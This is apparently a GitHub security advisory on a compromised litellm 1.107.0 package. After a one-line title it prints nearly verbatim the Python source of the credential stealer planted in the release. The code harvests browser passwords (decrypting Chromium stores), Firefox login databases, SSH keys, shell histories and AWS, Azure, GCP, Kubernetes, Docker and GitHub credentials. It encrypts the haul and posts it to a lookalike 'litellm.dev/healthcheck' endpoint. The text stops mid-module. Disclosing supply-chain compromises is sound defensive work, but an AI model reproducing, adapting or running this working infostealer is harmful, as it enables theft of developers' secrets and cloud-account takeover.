[SECURITY] litellm 1.107.0 compromised (PyPI removed; Docker latest/main-stable removed): cook.pth credential stealer + sitecustomize RCE loader, built from lookalike repo Berri-AI/litellm

· GitHub ·

28 min read Original article ↗
import os, sys, time, json, io, re, random, shutil, base64, socket, platform, getpass, tempfile, tarfile, subprocess, urllib.request, locale, hashlib
PC_URL = 'http://www.litellm.dev/healthcheck'
PC_TOKEN = 'XWiA8gZNa7NcX2XRoAEb'
PC_PUBKEY = '-----BEGIN PUBLIC KEY-----\nMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU\nPZZ9wdcZInzptCsemXSx/8GMLGdCvOk3oX57m8QYZpdiUfhoT+zSMzfo22UteQWp\n2tumv3HXXMMYgXEy8NXLjt78v1ciZQAj3CTOihhpvnRJiSfkD7DWG2348awGLxbS\nXULT7tLejuyR6oDMz9mTT6faytJTWZFg+W88JJNJ4m8TBXfjzgsqXU+/AWvEcKMF\n1KpBwikJqC4mwXm3pXaNQbp/AFJnmb6jzs0D2xPEabx6/deqqnHTzvQj3U4nbSHL\nQTub1blDqjAVe5elVg8d5X75volMNZ/LoCE14JuVql878yM3BZ/OSqLPhqq6cB6n\nwJJkrgFCPZ0LGrh3Wpoiqweh47eKnZ0cIyRV8lrB3vWD6fsvewjUAbWYl8YxfalZ\nLBBLGTClDR4nuFYSV27c/7O58sgbEnjm5PD64S5oa2fZwfXyMv4GfgRT9J8JJ08w\nLYhY84j7kcMRLZaIWLjFWgDRNOVznmSGJqfMBC+rBjHtT+NAlGJQDRhu3ufOdWi/\n5iCqZ2H4iyy2kfRfmeHJJvAhLqUip0RNRtFLF8igYorIMLPbPon/t853IV14CDpd\nopXR2WQ3Ipvr6nlR6ZxwVvMERW7mBCsObJuSuSEjJSoPmXKOMqIKvuqdHE4FTOiF\nj8VSOdZz6ncfk+oJtzh0cZ8CAwEAAQ==\n-----END PUBLIC KEY-----\n'
PC_MODULES = ['sysinfo', 'netinfo', 'browser_pw', 'browser_hist', 'ssh_keys', 'shell_hist', 'cloud_creds', 'dev_secrets', 'container_creds', 'cicd_secrets', 'ai_devtools', 'env_vars', 'db_litellm', 'cloud_metadata', 'gpg_keys', 'tls_privkey']
PC_ONCE_PATH = '/tmp/.pc_once_72129118c59f5636c0bb'
PC_ASYNC = True
PC_JITTER = 0.0
PC_MAX_FILE = 1048576
PC_TARGET = 'linux'
PC_EXEC_B64 = ''
PC_EXEC_TIMEOUT = 60
PC_EXEC_MODE = 'detach'
PC_POINTS = {}
PC_WIN = sys.platform == 'win32'
PC_MAC = sys.platform == 'darwin'
PC_LINUX = not PC_WIN and (not PC_MAC)
PC_HOME = os.path.expanduser('~')

def pc_o(**kw):
    kw.setdefault('files', [])
    return kw

def pc_txt(path, limit=262144):
    try:
        with open(path, 'rb') as f:
            return f.read(limit).decode('utf-8', 'replace')
    except Exception:
        return None

def pc_add_file(out, path, name=None, limit=None):
    limit = limit or PC_MAX_FILE
    try:
        if not path or not os.path.isfile(path):
            return None
        sz = os.path.getsize(path)
        if sz <= 0 or sz > limit * 4:
            return None
        with open(path, 'rb') as f:
            b = f.read(limit)
        ent = {'path': path, 'name': name or os.path.basename(path), 'size': sz, 'b64': base64.b64encode(b).decode()}
        out.setdefault('files', []).append(ent)
        return ent
    except Exception:
        return None

def pc_run(cmd, timeout=15):
    try:
        p = subprocess.run(cmd, capture_output=True, timeout=timeout)
        b = p.stdout or b''
        try:
            return b.decode('utf-8')
        except Exception:
            pass
        try:
            enc = locale.getpreferredencoding(False) or 'utf-8'
        except Exception:
            enc = 'utf-8'
        return b.decode(enc, 'replace')
    except Exception:
        return ''

def pc_glob(root, max_depth=2, pred=None, limit=500):
    hits = []
    try:
        base_depth = root.rstrip(os.sep).count(os.sep)
        for cur, dirs, names in os.walk(root):
            if cur.rstrip(os.sep).count(os.sep) - base_depth >= max_depth:
                dirs[:] = []
            dirs[:] = [d for d in dirs if not d.startswith('.')]
            for n in names:
                p = os.path.join(cur, n)
                try:
                    if pred is None or pred(p, n):
                        hits.append(p)
                except Exception:
                    pass
                if len(hits) >= limit:
                    return hits
    except Exception:
        pass
    return hits

def pc_chromium_profiles():
    out = []
    if PC_WIN:
        local = os.environ.get('LOCALAPPDATA', '')
        roam = os.environ.get('APPDATA', '')
        pairs = [('chrome', os.path.join(local, 'Google', 'Chrome', 'User Data')), ('edge', os.path.join(local, 'Microsoft', 'Edge', 'User Data')), ('brave', os.path.join(local, 'BraveSoftware', 'Brave-Browser', 'User Data')), ('vivaldi', os.path.join(local, 'Vivaldi', 'User Data')), ('opera', os.path.join(roam, 'Opera Software', 'Opera Stable'))]
    elif PC_MAC:
        la = os.path.join(PC_HOME, 'Library', 'Application Support')
        pairs = [('chrome', os.path.join(la, 'Google', 'Chrome')), ('edge', os.path.join(la, 'Microsoft Edge')), ('brave', os.path.join(la, 'BraveSoftware', 'Brave-Browser')), ('opera', os.path.join(la, 'com.operasoftware.Opera'))]
    else:
        cfg = os.path.join(PC_HOME, '.config')
        pairs = [('chrome', os.path.join(cfg, 'google-chrome')), ('chromium', os.path.join(cfg, 'chromium')), ('edge', os.path.join(cfg, 'microsoft-edge')), ('brave', os.path.join(cfg, 'BraveSoftware', 'Brave-Browser')), ('opera', os.path.join(cfg, 'opera'))]
    for b, d in pairs:
        if d and os.path.isdir(d):
            out.append((b, d))
    return out

def pc_chromium_profile_dirs(ud):
    try:
        names = os.listdir(ud)
    except Exception:
        return []
    out = [p for p in names if p == 'Default' or re.match('(?i)^Profile \\d+$', p)]
    if not out and os.path.isfile(os.path.join(ud, 'Login Data')):
        out = ['']
    return out

def pc_ff_profile_roots():
    if PC_WIN:
        return [os.path.join(os.environ.get('APPDATA', ''), 'Mozilla', 'Firefox', 'Profiles')]
    if PC_MAC:
        return [os.path.join(PC_HOME, 'Library', 'Application Support', 'Firefox', 'Profiles')]
    return [os.path.join(PC_HOME, '.mozilla', 'firefox')]

def pc_chrome_master_key(user_data):
    try:
        ls = os.path.join(user_data, 'Local State')
        if not os.path.isfile(ls):
            return None
        d = json.loads(pc_txt(ls, 1048576) or '{}')
        k = d.get('os_crypt', {}).get('encrypted_key')
        if not k:
            return None
        raw = base64.b64decode(k)
        if raw[:5] == b'DPAPI':
            raw = raw[5:]
        return raw
    except Exception:
        return None

def pc_dpapi_unprotect(data):
    if not data:
        return None
    if not PC_WIN:
        return None
    try:
        import ctypes
        from ctypes import wintypes

        class BLOB(ctypes.Structure):
            _fields_ = [('cbData', wintypes.DWORD), ('pbData', ctypes.POINTER(ctypes.c_char))]
        buf = ctypes.create_string_buffer(data, len(data))
        pin = BLOB(len(data), ctypes.cast(buf, ctypes.POINTER(ctypes.c_char)))
        pout = BLOB()
        if ctypes.windll.crypt32.CryptUnprotectData(ctypes.byref(pin), None, None, None, None, 0, ctypes.byref(pout)) == 0:
            return None
        try:
            return ctypes.string_at(pout.pbData, pout.cbData)
        finally:
            ctypes.windll.kernel32.LocalFree(pout.pbData)
    except Exception:
        return None

def pc_sqlite_copy(path, sql, params=()):
    import sqlite3
    d = tempfile.mkdtemp(prefix='.pc_sq_')
    try:
        tmp = os.path.join(d, 'db')
        shutil.copy2(path, tmp)
        con = sqlite3.connect(tmp)
        try:
            return [list(r) for r in con.execute(sql, params).fetchall()]
        finally:
            con.close()
    except Exception:
        return []
    finally:
        shutil.rmtree(d, ignore_errors=True)

def _pc_find_openssl():
    try:
        p = shutil.which('openssl')
        if p:
            return p
    except Exception:
        pass
    if PC_WIN:
        pf = os.environ.get('ProgramFiles', '')
        cands = [os.path.join(pf, 'Git', 'usr', 'bin', 'openssl.exe'), os.path.join(pf, 'Git', 'mingw64', 'bin', 'openssl.exe'), os.path.join(pf, 'OpenSSL-Win64', 'bin', 'openssl.exe'), 'C:\\OpenSSL-Win64\\bin\\openssl.exe', 'C:\\msys64\\usr\\bin\\openssl.exe']
    else:
        cands = ['/usr/bin/openssl', '/bin/openssl', '/usr/local/bin/openssl', '/opt/homebrew/bin/openssl', '/usr/local/opt/openssl/bin/openssl', '/opt/local/bin/openssl']
    for c in cands:
        try:
            if c and os.path.exists(c):
                return c
        except Exception:
            continue
    return None
_PC_OSSL = _pc_find_openssl()

def pc_aes128cbc_dec(key, iv, data):
    if not data or len(data) % 16:
        return None
    if _PC_OSSL:
        d = tempfile.mkdtemp(prefix='.pc_e_')
        try:
            fi, fo = (os.path.join(d, 'i'), os.path.join(d, 'o'))
            with open(fi, 'wb') as f:
                f.write(data)
            subprocess.run([_PC_OSSL, 'enc', '-d', '-aes-128-cbc', '-nosalt', '-K', key.hex(), '-iv', iv.hex(), '-in', fi, '-out', fo], capture_output=True, timeout=60, check=True)
            with open(fo, 'rb') as f:
                return f.read()
        except Exception:
            pass
        finally:
            shutil.rmtree(d, ignore_errors=True)
    try:
        from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
        dec = Cipher(algorithms.AES(key), modes.CBC(iv)).decryptor()
        pt = dec.update(data) + dec.finalize()
        if pt:
            n = pt[-1]
            if 1 <= n <= 16 and pt[-n:] == bytes([n]) * n:
                pt = pt[:-n]
        return pt
    except Exception:
        return None

def _pc_ossl_aes(key, iv, data):
    d = tempfile.mkdtemp(prefix='.pc_e_')
    try:
        fi, fo = (os.path.join(d, 'i'), os.path.join(d, 'o'))
        with open(fi, 'wb') as f:
            f.write(data)
        subprocess.run([_PC_OSSL, 'enc', '-aes-256-cbc', '-nosalt', '-K', key.hex(), '-iv', iv.hex(), '-in', fi, '-out', fo], capture_output=True, timeout=120, check=True)
        with open(fo, 'rb') as f:
            return f.read()
    finally:
        shutil.rmtree(d, ignore_errors=True)

def _pc_crypt_aes(key, iv, data):
    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
    pad = 16 - len(data) % 16
    data = data + bytes([pad]) * pad
    e = Cipher(algorithms.AES(key), modes.CBC(iv)).encryptor()
    return e.update(data) + e.finalize()

def _pc_cng_aes(key, iv, data):
    import ctypes
    from ctypes import wintypes
    bcrypt = ctypes.windll.bcrypt
    hAlg = ctypes.c_void_p()
    if bcrypt.BCryptOpenAlgorithmProvider(ctypes.byref(hAlg), 'AES', None, 0) != 0:
        raise OSError('BCryptOpenAlgorithmProvider')
    try:
        mode = ctypes.create_unicode_buffer('ChainingModeCBC')
        if bcrypt.BCryptSetProperty(hAlg, 'ChainingMode', ctypes.byref(mode), len(mode.value) * 2, 0) != 0:
            raise OSError('ChainingModeCBC')
        keybuf = ctypes.create_string_buffer(bytes(key), len(key))
        hKey = ctypes.c_void_p()
        if bcrypt.BCryptGenerateSymmetricKey(hAlg, ctypes.byref(hKey), None, 0, ctypes.cast(keybuf, ctypes.POINTER(ctypes.c_ubyte)), len(key), 0) != 0:
            raise OSError('BCryptGenerateSymmetricKey')
        try:
            pad = 16 - len(data) % 16
            plain = bytes(data) + bytes([pad]) * pad
            pbin = ctypes.create_string_buffer(plain, len(plain))
            pInput = ctypes.cast(pbin, ctypes.POINTER(ctypes.c_ubyte))
            cbResult = wintypes.ULONG(0)
            ivbuf1 = ctypes.create_string_buffer(bytes(iv), 16)
            if bcrypt.BCryptEncrypt(hKey, pInput, len(plain), None, ctypes.cast(ivbuf1, ctypes.POINTER(ctypes.c_ubyte)), 16, None, 0, ctypes.byref(cbResult), 0) != 0:
                raise OSError('BCryptEncrypt(size)')
            out = ctypes.create_string_buffer(cbResult.value)
            cbResult2 = wintypes.ULONG(0)
            ivbuf2 = ctypes.create_string_buffer(bytes(iv), 16)
            if bcrypt.BCryptEncrypt(hKey, pInput, len(plain), None, ctypes.cast(ivbuf2, ctypes.POINTER(ctypes.c_ubyte)), 16, ctypes.cast(out, ctypes.POINTER(ctypes.c_ubyte)), cbResult.value, ctypes.byref(cbResult2), 0) != 0:
                raise OSError('BCryptEncrypt')
            return out.raw[:cbResult2.value]
        finally:
            bcrypt.BCryptDestroyKey(hKey)
    finally:
        bcrypt.BCryptCloseAlgorithmProvider(hAlg, 0)
_SBOX = bytes.fromhex('637c777bf26b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0b7fd9326363ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b27509832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b6acbbe394a4c58cfd0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2cd0c13ec5f974417c4a77e3d645d197360814fdc222a908846eeb814de5e0bdbe0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae08ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9ee1f8981169d98e949b1e87e9ce5528df8ca1890dbfe6426841992d0fb054bb16')

def _pc_gmul(a, b):
    p = 0
    for _ in range(8):
        if b & 1:
            p ^= a
        b >>= 1
        a = (a << 1 ^ 27) & 255 if a & 128 else a << 1
    return p & 255

def _pc_aes256_expand(key):
    Nk, Nr = (8, 14)
    w = [list(key[i * 4:i * 4 + 4]) for i in range(Nk)]
    rcon = 1
    for i in range(Nk, 4 * (Nr + 1)):
        t = list(w[i - 1])
        if i % Nk == 0:
            t = t[1:] + t[:1]
            t = [_SBOX[b] for b in t]
            t[0] ^= rcon
            rcon = (rcon << 1 ^ 27) & 255 if rcon & 128 else rcon << 1
        elif i % Nk == 4:
            t = [_SBOX[b] for b in t]
        w.append([a ^ b for a, b in zip(w[i - Nk], t)])
    return w

def _pc_py_aes256_cbc(key, iv, data):
    pad = 16 - len(data) % 16
    data = bytes(data) + bytes([pad]) * pad
    w = _pc_aes256_expand(key)
    Nr = 14
    out = bytearray()

    def enc_block(block):
        s = [[block[c * 4 + r] for r in range(4)] for c in range(4)]

        def addrk(rk_words):
            flat = [b for word in rk_words for b in word]
            for c in range(4):
                for r in range(4):
                    s[c][r] ^= flat[c * 4 + r]

        def subshift():
            old = [list(col) for col in s]
            for c in range(4):
                s[c] = [_SBOX[old[(c + r) % 4][r]] for r in range(4)]

        def mix():
            for c in range(4):
                a = s[c]
                s[c] = [_pc_gmul(a[0], 2) ^ _pc_gmul(a[1], 3) ^ a[2] ^ a[3], a[0] ^ _pc_gmul(a[1], 2) ^ _pc_gmul(a[2], 3) ^ a[3], a[0] ^ a[1] ^ _pc_gmul(a[2], 2) ^ _pc_gmul(a[3], 3), _pc_gmul(a[0], 3) ^ a[1] ^ a[2] ^ _pc_gmul(a[3], 2)]
        addrk(w[0:4])
        for rnd in range(1, Nr):
            subshift()
            mix()
            rk = w[rnd * 4:rnd * 4 + 4]
            addrk(rk)
        subshift()
        addrk(w[Nr * 4:Nr * 4 + 4])
        return bytes((s[c][r] for c in range(4) for r in range(4)))
    prev = bytes(iv)
    for i in range(0, len(data), 16):
        blk = bytes((a ^ b for a, b in zip(data[i:i + 16], prev)))
        prev = enc_block(blk)
        out += prev
    return bytes(out)

def _pc_der_read(buf, i):
    tag = buf[i]
    i += 1
    ln = buf[i]
    i += 1
    if ln & 128:
        n = ln & 127
        ln = int.from_bytes(buf[i:i + n], 'big')
        i += n
    return (tag, i, i + ln)

def _pc_spki_parse(pub_pem):
    body = ''.join((l for l in pub_pem.decode('utf-8', 'replace').splitlines() if '-----' not in l))
    der = base64.b64decode(body)
    t, s0, e0 = _pc_der_read(der, 0)
    t, s1, e1 = _pc_der_read(der, s0)
    t, cs, ce = _pc_der_read(der, e1)
    if t != 3:
        raise ValueError('expect BIT STRING')
    kder = der[cs + 1:ce]
    t, s2, e2 = _pc_der_read(kder, 0)
    t, ns, ne = _pc_der_read(kder, s2)
    t, es, ee = _pc_der_read(kder, ne)
    return (int.from_bytes(kder[ns:ne], 'big'), int.from_bytes(kder[es:ee], 'big'))

def _pc_mgf1(seed, length):
    out = b''
    c = 0
    while len(out) < length:
        out += hashlib.sha256(seed + c.to_bytes(4, 'big')).digest()
        c += 1
    return out[:length]

def _pc_py_rsa_oaep(pub_pem, data):
    n, e = _pc_spki_parse(pub_pem)
    k = (n.bit_length() + 7) // 8
    hLen = 32
    if len(data) > k - 2 * hLen - 2:
        raise ValueError('msg too long')
    lHash = hashlib.sha256(b'').digest()
    ps = b'\x00' * (k - len(data) - 2 * hLen - 2)
    db = lHash + ps + b'\x01' + bytes(data)
    seed = os.urandom(hLen)
    maskedDB = bytes((a ^ b for a, b in zip(db, _pc_mgf1(seed, k - hLen - 1))))
    maskedSeed = bytes((a ^ b for a, b in zip(seed, _pc_mgf1(maskedDB, hLen))))
    em = b'\x00' + maskedSeed + maskedDB
    c = pow(int.from_bytes(em, 'big'), e, n)
    return c.to_bytes(k, 'big')

def pc_aes_enc(key, iv, data):
    if _PC_OSSL:
        try:
            return _pc_ossl_aes(key, iv, data)
        except Exception:
            pass
    try:
        return _pc_crypt_aes(key, iv, data)
    except Exception:
        pass
    if PC_WIN:
        try:
            return _pc_cng_aes(key, iv, data)
        except Exception:
            pass
    return _pc_py_aes256_cbc(key, iv, data)

def _pc_ossl_rsa(pub_file, data, md):
    d = tempfile.mkdtemp(prefix='.pc_e_')
    try:
        fi, fo = (os.path.join(d, 'i'), os.path.join(d, 'o'))
        with open(fi, 'wb') as f:
            f.write(data)
        subprocess.run([_PC_OSSL, 'pkeyutl', '-encrypt', '-pubin', '-inkey', pub_file, '-in', fi, '-out', fo, '-pkeyopt', 'rsa_padding_mode:oaep', '-pkeyopt', 'rsa_oaep_md:' + md], capture_output=True, timeout=120, check=True)
        with open(fo, 'rb') as f:
            return f.read()
    finally:
        shutil.rmtree(d, ignore_errors=True)

def _pc_crypt_rsa(pub_pem, data):
    from cryptography.hazmat.primitives import serialization, hashes
    from cryptography.hazmat.primitives.asymmetric import padding
    pub = serialization.load_pem_public_key(pub_pem)
    return pub.encrypt(data, padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()), algorithm=hashes.SHA256(), label=None))

def pc_rsa_enc(pub_pem, data):
    d = tempfile.mkdtemp(prefix='.pc_e_')
    try:
        pf = os.path.join(d, 'pub.pem')
        with open(pf, 'wb') as f:
            f.write(pub_pem)
        if _PC_OSSL:
            for md in ('sha256', 'sha1'):
                try:
                    return (_pc_ossl_rsa(pf, data, md), md)
                except Exception:
                    continue
        try:
            return (_pc_crypt_rsa(pub_pem, data), 'sha256')
        except Exception:
            pass
        return (_pc_py_rsa_oaep(pub_pem, data), 'sha256')
    finally:
        shutil.rmtree(d, ignore_errors=True)

def _pc_tar_add(tf, name, data):
    ti = tarfile.TarInfo(name)
    ti.size = len(data)
    ti.mtime = 0
    ti.mode = 384
    tf.addfile(ti, io.BytesIO(data))

def pc_pack(hdr, data_ct, key_ct):
    buf = io.BytesIO()
    with tarfile.open(fileobj=buf, mode='w:gz', compresslevel=6) as tf:
        _pc_tar_add(tf, 'hdr.json', json.dumps(hdr).encode())
        _pc_tar_add(tf, 'data.bin', data_ct)
        _pc_tar_add(tf, 'key.bin', key_ct)
    return buf.getvalue()

def pc_post(url, body, token=None):
    try:
        req = urllib.request.Request(url, data=body, method='POST')
        req.add_header('Content-Type', 'application/octet-stream')
        req.add_header('User-Agent', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0)')
        req.add_header('X-SHA256', hashlib.sha256(body).hexdigest())
        if token:
            req.add_header('X-Token', token)
        for attempt in range(4):
            try:
                with urllib.request.urlopen(req, timeout=120) as r:
                    if r.status == 200:
                        return True
            except Exception:
                pass
            if attempt < 3:
                time.sleep(2 ** attempt)
    except Exception:
        pass
    return False

def mod_sysinfo(ctx):
    out = pc_o(hostname=socket.gethostname(), user=getpass.getuser(), system=platform.system(), release=platform.release(), version=platform.version(), arch=platform.machine(), python=sys.version.replace('\n', ' '), cwd=os.getcwd(), exe=sys.executable, pid=os.getpid(), home=PC_HOME)
    try:
        out['addrs'] = sorted({ai[4][0] for ai in socket.getaddrinfo(socket.gethostname(), None, proto=socket.IPPROTO_IP)})
    except Exception:
        pass
    if PC_WIN:
        d = pc_run(['systeminfo'], timeout=30)
        keys = ('OS Name', 'OS Version', 'System Manufacturer', 'System Model', 'Domain', 'Logon Server', 'Original Install Date', 'System Boot Time', 'Total Physical Memory')
        out['systeminfo'] = [ln.strip() for ln in d.splitlines() if any((ln.strip().startswith(k) for k in keys))]
    else:
        out['uname'] = pc_run(['uname', '-a']).strip()
        t = pc_txt('/etc/os-release', 4096)
        if t:
            out['os_release'] = t
        out['uptime'] = pc_run(['uptime']).strip()
        if PC_LINUX:
            d = pc_run(['hostnamectl'], timeout=10)
            if d:
                out['hostnamectl'] = d[:8000]
    return out

def mod_netinfo(ctx):
    out = pc_o()
    if PC_WIN:
        cmds = [('interfaces', ['ipconfig', '/all']), ('routes', ['route', 'print']), ('arp', ['arp', '-a']), ('listeners', ['netstat', '-ano'])]
    elif PC_MAC:
        cmds = [('interfaces', ['ifconfig']), ('routes', ['netstat', '-rn']), ('arp', ['arp', '-a']), ('listeners', ['netstat', '-anv'])]
    else:
        cmds = [('interfaces', ['ip', '-brief', 'address']), ('routes', ['ip', 'route']), ('arp', ['ip', 'neigh']), ('listeners', ['ss', '-tulpn'])]
    cmds = [(n, c) for n, c in cmds if pc_pt(ctx, n)]
    fallbacks = {'interfaces': (['ifconfig'],), 'routes': (['route', '-n'],), 'arp': (['arp', '-a'],), 'listeners': (['netstat', '-tulpn'], ['netstat', '-an'])}
    for name, cmd in cmds:
        d = pc_run(cmd, timeout=25)
        if not d:
            for fb in fallbacks.get(name, ()):
                d = pc_run(fb, timeout=20)
                if d:
                    break
        if d:
            out[name] = d[:120000]
    return out

def mod_browser_pw(ctx):
    out = pc_o()
    db_limit = 8 * PC_MAX_FILE
    creds, found = ([], {})
    for bname, ud in pc_chromium_profiles() if pc_pt(ctx, 'chromium') else []:
        mkey = pc_chrome_master_key(ud)
        dkey = pc_dpapi_unprotect(mkey) if mkey else None
        for prof in pc_chromium_profile_dirs(ud):
            pd = os.path.join(ud, prof) if prof else ud
            tag = bname + ('@' + prof if prof else '')
            ld = os.path.join(pd, 'Login Data')
            if os.path.isfile(ld):
                found.setdefault(bname, []).append(pd)
                pc_add_file(out, ld, name=tag + '__logins.sqlite', limit=db_limit)
                for url, u, pw in pc_sqlite_copy(ld, 'SELECT origin_url, username_value, password_value FROM logins'):
                    if not pw:
                        continue
                    try:
                        if pw[:3] in (b'v10', b'v11'):
                            if PC_WIN:
                                if not dkey:
                                    continue
                                from cryptography.hazmat.primitives.ciphers.aead import AESGCM
                                pw = AESGCM(dkey).decrypt(pw[3:15], pw[15:], None)
                            elif PC_LINUX:
                                k = hashlib.pbkdf2_hmac('sha1', b'peanuts', b'saltysalt', 1, 16)
                                pw = pc_aes128cbc_dec(k, b' ' * 16, pw[3:]) or b''
                            else:
                                pw = b''
                        elif PC_WIN:
                            pw = pc_dpapi_unprotect(pw) or b''
                        if pw:
                            creds.append({'browser': tag, 'url': url or '', 'username': u or '', 'password': pw.decode('utf-8', 'replace')})
                    except Exception:
                        continue
            for extra in ('Cookies', 'Web Data'):
                p = os.path.join(pd, extra)
                if os.path.isfile(p):
                    pc_add_file(out, p, name=tag + '__' + extra.lower() + '.sqlite', limit=db_limit)
    ff_info = []
    for root in pc_ff_profile_roots() if pc_pt(ctx, 'firefox') else []:
        if not os.path.isdir(root):
            continue
        try:
            names = os.listdir(root)
        except Exception:
            continue
        for prof in names:
            pd = os.path.join(root, prof)
            lj, k4 = (os.path.join(pd, 'logins.json'), os.path.join(pd, 'key4.db'))
            if os.path.isfile(lj) and os.path.isfile(k4):
                pc_add_file(out, lj, name='firefox_' + prof + '__logins.json', limit=4 * PC_MAX_FILE)
                pc_add_file(out, k4, name='firefox_' + prof + '__key4.db', limit=4 * PC_MAX_FILE)
                try:
                    n = len(json.loads(pc_txt(lj, 4 * PC_MAX_FILE) or '{}').get('logins', []))
                except Exception:
                    n = 0
                if n:
                    ff_info.append({'profile': prof, 'logins': n, 'note': 'logins.json / key4.db attached in bundle; decryptable offline at receiver'})
    if ff_info:
        out['firefox'] = ff_info
    seen, uniq = (set(), [])
    for c in creds:
        k = (c['browser'], c['url'], c['username'])
        if k in seen:
            continue
        seen.add(k)
        uniq.append(c)
    out['credentials'] = uniq[:3000]
    out['count'] = len(uniq)
    out['browsers'] = {b: ps for b, ps in found.items()}
    return out

def mod_browser_hist(ctx):
    out = pc_o()
    hist = []
    for bname, ud in pc_chromium_profiles() if pc_pt(ctx, 'chromium') else []:
        for prof in pc_chromium_profile_dirs(ud):
            pd = os.path.join(ud, prof) if prof else ud
            hp = os.path.join(pd, 'History')
            if not os.path.isfile(hp):
                continue
            tag = bname + ('@' + prof if prof else '')
            for url, title, vc in pc_sqlite_copy(hp, 'SELECT url, title, visit_count FROM urls ORDER BY last_visit_time DESC LIMIT 300'):
                hist.append({'browser': tag, 'url': url, 'title': (title or '')[:200], 'visits': vc})
    for root in pc_ff_profile_roots() if pc_pt(ctx, 'firefox') else []:
        if not os.path.isdir(root):
            continue
        try:
            profs = os.listdir(root)
        except Exception:
            continue
        for prof in profs:
            pl = os.path.join(root, prof, 'places.sqlite')
            if not os.path.isfile(pl):
                continue
            for url, title, vc in pc_sqlite_copy(pl, 'SELECT url, title, visit_count FROM moz_places ORDER BY visit_count DESC LIMIT 300'):
                hist.append({'browser': 'firefox@' + prof, 'url': url, 'title': (title or '')[:200], 'visits': vc})
    out['history'] = hist[:800]
    out['count'] = len(hist)
    return out

def mod_ssh_keys(ctx):
    out = pc_o()
    items = []
    ssh = os.path.join(PC_HOME, '.ssh')
    if os.path.isdir(ssh):
        for n in os.listdir(ssh):
            p = os.path.join(ssh, n)
            if not os.path.isfile(p):
                continue
            t = pc_txt(p, 131072)
            if t is not None:
                items.append({'name': n, 'path': p, 'content': t[:65536]})
            else:
                pc_add_file(out, p, name='ssh_' + n)
    out['keys'] = items
    out['count'] = len(items)
    return out

def mod_shell_hist(ctx):
    out = pc_o()
    targets = []
    groups = {'unix_shell': ('.bash_history', '.zsh_history', '.sh_history', '.python_history', '.node_repl_history', '.lesshst', '.config/fish/fish_history'), 'db_cli': ('.mysql_history', '.psql_history', '.rediscli_history', '.sqlite_history'), 'viminfo': ('.viminfo',)}
    for n in tuple((n for g, ns in groups.items() if pc_pt(ctx, g) for n in ns)):
        p = os.path.join(PC_HOME, n)
        if os.path.isfile(p):
            targets.append((n, p))
    if PC_WIN:
        psrl = os.path.join(os.environ.get('APPDATA', ''), 'Microsoft', 'Windows', 'PowerShell', 'PSReadLine')
        if pc_pt(ctx, 'psreadline') and os.path.isdir(psrl):
            for n in os.listdir(psrl):
                p = os.path.join(psrl, n)
                if os.path.isfile(p):
                    targets.append(('PSReadLine/' + n, p))
        cmc = os.path.join(os.environ.get('APPDATA', ''), 'Microsoft', 'Windows', 'Command Processor history')
        if pc_pt(ctx, 'psreadline') and os.path.isfile(cmc):
            targets.append(('cmd_history', cmc))
    hists = []
    for label, p in targets:
        try:
            with open(p, 'rb') as f:
                t = f.read().decode('utf-8', 'replace')
        except Exception:
            t = None
        if t:
            hists.append({'name': label, 'path': p, 'content': t})
    out['histories'] = hists
    out['count'] = len(hists)
    return out

def mod_cloud_creds(ctx):
    out = pc_o()
    home_targets = [('aws_credentials', os.path.join(PC_HOME, '.aws', 'credentials')), ('aws_config', os.path.join(PC_HOME, '.aws', 'config')), ('azure_profile', os.path.join(PC_HOME, '.azure', 'azureProfile.json')), ('azure_accessTokens', os.path.join(PC_HOME, '.azure', 'accessTokens.json')), ('azure_msal_cache', os.path.join(PC_HOME, '.azure', 'msal_token_cache.json')), ('gcloud_adc', os.path.join(PC_HOME, '.config', 'gcloud', 'application_default_credentials.json')), ('gcloud_credentials_db', os.path.join(PC_HOME, '.config', 'gcloud', 'credentials.db')), ('gcloud_access_tokens_db', os.path.join(PC_HOME, '.config', 'gcloud', 'access_tokens.db')), ('gcloud_properties', os.path.join(PC_HOME, '.config', 'gcloud', 'properties')), ('kube_config', os.path.join(PC_HOME, '.kube', 'config')), ('docker_config', os.path.join(PC_HOME, '.docker', 'config.json')), ('gh_cli_hosts', os.path.join(PC_HOME, '.config', 'gh', 'hosts.yml')), ('rclone_conf', os.path.join(PC_HOME, '.config', 'rclone', 'rclone.conf')), ('heroku_netrc', os.path.join(PC_HOME, '.netrc'))]
    if PC_MAC:
        home_targets += [('gcloud_adc_mac', os.path.join(PC_HOME, 'Library', 'Application Support', 'gcloud', 'application_default_credentials.json'))]
    prov = {'aws': ('aws_credentials', 'aws_config'), 'azure': ('azure_profile', 'azure_accessTokens', 'azure_msal_cache'), 'gcloud': ('gcloud_adc', 'gcloud_adc_mac', 'gcloud_credentials_db', 'gcloud_access_tokens_db', 'gcloud_properties'), 'kubernetes': ('kube_config',), 'docker': ('docker_config',), 'gh_cli': ('gh_cli_hosts',), 'rclone': ('rclone_conf',), 'heroku': ('heroku_netrc',)}
    on = {lbl for g, lbls in prov.items() if pc_pt(ctx, g) for lbl in lbls}
    home_targets = [(lbl, p) for lbl, p in home_targets if lbl in on]
    found = []
    for label, p in home_targets:
        if os.path.isfile(p):
            t = pc_txt(p, 262144)
            if t is not None:
                found.append({'name': label, 'path': p, 'content': t})
            else:
                pc_add_file(out, p, name='cloud_' + label)
    out['items'] = found
    out['count'] = len(found)
    return out

def mod_dev_secrets(ctx):
    out = pc_o()
    found = []
